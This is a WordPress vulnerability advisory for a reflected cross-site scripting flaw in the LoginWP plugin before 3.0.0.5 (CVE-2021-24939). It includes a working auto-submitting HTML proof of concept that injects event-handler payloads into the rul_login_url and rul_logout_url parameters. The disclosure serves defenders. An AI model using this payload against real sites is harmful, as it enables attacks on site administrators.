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How it worksPricing
Vulnerabilities
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For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

LoginWP < 3.0.0.5 - Reflected Cross-Site Scripting

Description

The plugin does not sanitise and escape the rul_login_url and rul_logout_url parameter before outputting them back in attributes in an admin page, leading to a Reflected Cross-Site Scripting issue

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?page=loginwp-redirections&new=1" id="hack" method="POST">
      <input type="hidden" name="rul_login_url" value='" style=animation-name:rotation onanimationstart=alert(/XSS-login_url/)//' />
      <input type="hidden" name="rul_logout_url" value='" style=animation-name:rotation onanimationstart=alert(/XSS-logout_url/)//' />
      <input type="submit" value="Submit request" />
    </form>
  </body>
  <script>
    var form1 = document.getElementById('hack');
    form1.submit();
</script>
</html> 

Affects Plugins

peters-login-redirect
Fixed in version 3.0.0.5

References

CVE
CVE-2021-24939

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

JrXnm

Submitter

JrXnm

Submitter website
https://blog.szfszf.top
Submitter twitter
JrXnm
Verified

Yes

WPVDB ID
1a46cfec-24ad-4619-8579-f09bbd8ee748

Timeline

Publicly Published

2021-11-08 (about 6 months ago)

Added

2021-11-08 (about 6 months ago)

Last Updated

2022-04-16 (about 1 months ago)

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